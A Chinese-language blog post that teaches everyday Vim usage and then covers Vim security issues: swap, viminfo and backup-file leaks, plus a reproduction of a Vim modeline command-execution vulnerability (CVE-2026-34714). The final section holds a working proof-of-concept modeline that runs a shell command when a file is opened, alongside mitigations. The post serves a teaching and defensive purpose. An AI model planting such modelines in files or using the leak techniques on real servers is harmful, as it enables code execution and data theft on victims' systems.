vim的使用技巧以及安全问题

Vim 是 Linux 环境下最经典的编辑器之一。之前只知道一个:wq,趁现在总结一些常规的使用方法再外带一下安全方向的内容。

一、常规使用

1.体系模式

Vim 的一切都围绕”模式”展开,理解模式是学会 Vim 的第一步:

模式 进入方式 用途
Normal(普通) 启动默认 / Esc 导航、删除、复制、粘贴
Insert(插入) i a o 等 输入文本
Visual(可视) v / V / Ctrl+v 选中字符 / 行 / 块
Command(命令) : 执行命令
Replace(替换) R 覆盖式输入

核心原则:无论身处哪个模式,按 Esc 基本都能回到普通模式。普通模式是 Vim 的「家」,所有操作都从这里出发,也最终回到这里。

2. 基础移动

Vim 的移动不依赖鼠标和方向键,而是用主键盘区的字母完成。熟练之后,双手可以不离键盘完成绝大多数导航。

字符与单词

按键 作用
h j k l 左、下、上、右
w / b / e 下一个单词开头 / 上一个单词开头 / 当前或下一单词结尾

行内跳转

按键 作用
0 / ^ / $ 行首 / 首个非空字符 / 行尾
f{char} 行内向后查找字符
t{char} 跳到字符前
; / , 重复 / 反向重复上次 f t 查找

文件与翻页

按键 作用
gg / G / 5G 文件头 / 文件尾 / 跳到第 5 行
Ctrl+d / Ctrl+u 向下 / 向上翻半页

3.核心编辑操作

编辑核心操作

Vim 的编辑命令大多遵循「操作符 + 动作」的组合逻辑,例如 d 是删除,w 是一个单词,合起来 dw 就是删除一个单词。掌握这个思路后,你不需要死记大量孤立命令,而是用少量操作符和动作自由组合。

按键 作用
x 删除光标处字符
dd / dw 删除一行 / 删除一个单词
yy / p / P 复制一行 / 向下粘贴 / 向上粘贴
u / Ctrl+r 撤销 / 重做
. 重复上一次修改(Vim 效率精髓之一)
o / O 下方 / 上方新开一行并进入插入模式

4.查找与替换

命令 作用
/{pattern} / ?{pattern} 向下 / 向上查找
n / N 下一个 / 上一个匹配
:%s/{old}/{new}/g 全局替换
:%s/{old}/{new}/gc 全局替换,逐个确认

5. 文件与窗口

命令 作用
:w / :q / :wq / :q! 保存 / 退出 / 保存退出 / 强制退出
:e file 打开另一个文件
:split / :vsplit 水平 / 垂直分屏
Ctrl+w h/j/k/l 在窗口间移动
:tabnew / gt / gT 新建 / 下一个 / 上一个标签页

二、进阶用法

1.块编辑

块编辑是 Vim 最具代表性的功能之一,也是它区别于大多数编辑器的杀手级特性。普通可视模式(v)按字符或行选中,而块可视模式(Ctrl+v)选中的是一个矩形区域——可以同时操作多行的同一列位置。

Ctrl+v 进入块可视模式,选中的是一个矩形区域,而不是连续文本。这是 Vim 的杀手级功能之一。

  1. Ctrl+v 选中多行的同一列区域
  2. I 在行首插入,A 在行尾追加
  3. 输入内容后按 Esc,所有选中行同时生效

适合批量加注释、对齐赋值语句、给多行末尾加逗号。

2. 宏:让 Vim 替你重复劳动

宏适合处理「对大量行做同样格式修改」这类任务,往往比正则更直观可靠。

命令 作用
qa 开始录制到寄存器 a
q 结束录制
@a / 10@a 回放 / 重复回放 10 次

3.寄存器:Vim中的剪切板

先记住一个符号:"(双引号)。在 Vim 里," 后面跟一个字符,就表示「我要用哪个寄存器」。

关于寄存器

它内置了多个「抽屉」,每次复制或删除,内容会放进不同的抽屉里。你可以指定从哪个抽屉取东西。

寄存器 怎么用 作用
"" 默认,不用特意写 最近一次删除或复制的内容
"0 "0p 最近一次复制的内容(删除不会覆盖它)
"_ "_dd 黑洞,删除的东西直接扔掉,不影响其他寄存器
"+ "+y / "+p 系统剪贴板,能和浏览器、其他程序互通
"a 到 "z "ayy / "ap 你自己命名的抽屉,共 26 个

默认寄存器 "" 会被删除覆盖,"0 只存复制内容,"_ 是垃圾桶,"+ 通系统剪贴板,"a-"z 是自己命名的抽屉。

4.标记与历史跳转:Vim中的书签和浏览记录

给某个位置起个名字(一个字母),之后随时能跳回来。

命令 作用
ma 在当前位置打一个标记,名字叫 a
``a` 跳回标记 a 的位置
'a 跳到标记 a 所在行的行首

除了自己打的标记,Vim 还自动维护两个很有用的标记:

命令 作用
`` 跳回上次跳转前的位置
``.` 跳回上次修改的位置

5.好用的配置设置

Vim的配置文件为~/.vimrc

1
2
3
4
5
6
7
8
9
10
11
12
set number			//显示行号
set hlsearch //高亮所有匹配项
set incsearch //增量搜索(一边输入一遍跳转高亮)
set ignorecase //忽略大小写
set smartcase //智能大小写(与上一条整合就是小写时大小写均匹配,大写时严格展示大写)

set expandtab //用空格来展示tab
set tabstop=4 //设置空格数量为4
set shiftwidth=4 //每次缩进用4个空格
set autoindent //自动继承缩进

inoremap jk <Esc> //自定义快捷键,在插入模式用jk来表示Esc退出

三、Vim相关漏洞

VIM泄露

在渗透测试和 CTF 中,Vim 相关的「泄漏」指的是 Vim 在使用过程中留下的持久化文件,可能直接暴露源码、历史操作甚至敏感信息。

1. swap 文件泄漏(最常见)

Vim 编辑文件时默认生成隐藏的交换文件:

1
2
.filename.swp     第一次编辑
.filename.swo 第二次

当 Vim 异常退出(SSH 断开、进程被 kill、服务器宕机)时,swp 不会自动删除。如果站点目录下用 vim 编辑过代码,且服务器允许访问隐藏文件,就可能被直接下载:

1
http://target/.index.php.swp

恢复方法:

1
2
3
vim -r index.php              # 在对应目录下恢复
vim -r .index.php.swp # 直接从 swp 恢复
strings .index.php.swp # 快速查看内容

代码审计题中,swp 恢复出的往往是「真正的」过滤逻辑源码,据此寻找绕过点。

2. viminfo 泄漏

~/.viminfo 会记录:

  • 命令行历史(: 命令)
  • 搜索历史(可能包含敏感字符串)
  • 寄存器内容(可能包含复制过的密码、token)
  • 最近编辑的文件路径

拿到低权限 shell 后:

1
cat /home/<user>/.viminfo

3. backup 与 undofile 泄漏

需要有前置的配置

1
2
3
set backup          " 产生 filename~
set patchmode=.orig " 保留首次编辑前的 .orig 副本
set undofile " 撤销历史持久化为 .filename.un~

这些文件留在 Web 目录中同样会被直接访问:

  • filename~ / filename.orig:暴露旧版本源码(可能是修复前的漏洞版本)
  • .filename.un~:可恢复出已删除或已修改的内容

4.防御建议

  • 生产环境不要直接在 Web 目录下用 vim 编辑文件
  • 关闭或转移持久化文件:
1
2
3
set nobackup
set noswapfile
set directory^=/tmp
  • 服务器侧禁止访问隐藏文件,以 nginx 为例:
1
2
3
4
5
location ~ /\. {
deny all;
access_log off;
log_not_found off;
}
  • 定期清理站点目录下的 *~、*.swp、*.un~ 等残留文件

VIM任意命令执行漏洞

CVE-2026-34714 是一个影响 Vim 9.1.1391 至 9.2.0271 的本地命令执行漏洞,CVSS 评分 9.2。攻击者构造一个包含恶意 modeline 的普通文本文件,受害者用受影响版本的 Vim 打开后,攻击者便可在受害者权限下执行任意系统命令,无需任何额外交互。

该漏洞源于tabpanel组件在处理表达式时未正确设置P_MLE标志,导致%{expr}注入。攻击者可诱导用户打开特制文件,在无需用户交互的情况下,利用该漏洞在受害者系统上执行任意代码,获取系统控制权。

该漏洞的根本原因是Vim在渲染标签页(tabpanel)界面时,对动态表达式的处理存在逻辑错误。在Vim脚本中,%{expr}语法用于计算表达式的值并将其插入到界面元素(如标签页标题或状态栏)中。然而,在受影响的版本中,tabpanel相关的代码路径缺少P_MLE(多行表达式或安全上下文标志)的检查机制。这使得解析器在处理特定输入时,未能区分普通文本和可执行代码。当攻击者构造包含恶意%{...}序列的文件时,Vim在打开文件并渲染界面的过程中,会自动解析并执行大括号内的Vimscript代码。由于攻击向量为本地且无需交互,一旦文件被打开(例如通过文件关联或直接打开),代码即在前台运行,导致高权限的代码执行。

复现

搭建环境

安装编译 Vim 所需的基础工具和库:

1
2
3
sudo apt update
sudo apt install -y git build-essential libncurses-dev libsodium-dev \
libacl1-dev libattr1-dev libgpm-dev

获取受危害的vim版本文件

1
2
3
git clone https://github.com/vim/vim.git
cd vim
git checkout v9.2.0271

开启+tabpanel特性

1
./configure --with-features=huge --enable-gui=no --enable-multibyte

编译与检查

1
2
3
make -j$(nproc)
./src/vim --version | head -3
./src/vim --version | grep tabpanel

.src/vim就是受漏洞危害的vim版本执行文件

构造poc

漏洞的利用链包含两个独立缺陷的串联:

  1. 入口缺陷:tabpanel 选项缺少 P_MLE 标志,使其可以从 modeline 中注入 %{expr} 表达式,无需启用 modelineexpr
  2. 出口缺陷:autocmd_add() 函数缺少 check_secure() 检查,允许在沙箱中注册自动命令,该命令在沙箱退出后执行

因此,PoC 不能直接调用 system(),因为沙箱会拦截它。正确做法是:在 modeline 中通过 tabpanel 表达式调用 autocmd_add() 注册一个 SafeStateAgain 自动命令,待沙箱退出后触发命令执行。

创建一个恶意文件/tmp/poc.md

1
/* vim: set showtabpanel=2 tabpanel=%{%autocmd_add([{'event'\:'SafeStateAgain','pattern'\:'*','cmd'\:'!id>/tmp/cve_poc_result','once'\:1}])%}:

用危险版本vim打开这个文件

由于源码目录下的 Vim 尚未安装,运行时需要显式指定 VIMRUNTIME 路径,否则会因找不到运行时文件而进入兼容模式,影响 modeline 处理:

1
2
cd ~/vim
VIMRUNTIME=$(pwd)/runtime ./src/vim /tmp/poc.md

打开后,Vim 会处理 modeline,tabpanel 表达式在沙箱中执行 autocmd_add(),注册 SafeStateAgain 自动命令。退出 Vim(:q)后,该自动命令触发,执行 id 命令并将输出写入 /tmp/cve_poc_result。

验证结果

1
cat /tmp/cve_poc_result

修复与缓解

官方在 v9.2.0272 中通过两处修改修复了此漏洞:给 tabpanel 加上 P_MLE 标志堵住入口,给 autocmd_add() 加上 check_secure() 堵住出口。

对于无法立即升级的环境,可采取临时缓解措施:

  • 在 ~/.vimrc 中设置 set nomodeline 完全禁用 modeline
  • 或设置 set modelineexpr=0 禁用表达式求值

需要注意的是,以 root 权限运行 Vim 默认不受影响,因为 root 需要显式配置 set modeline 才会启用该功能。

Contents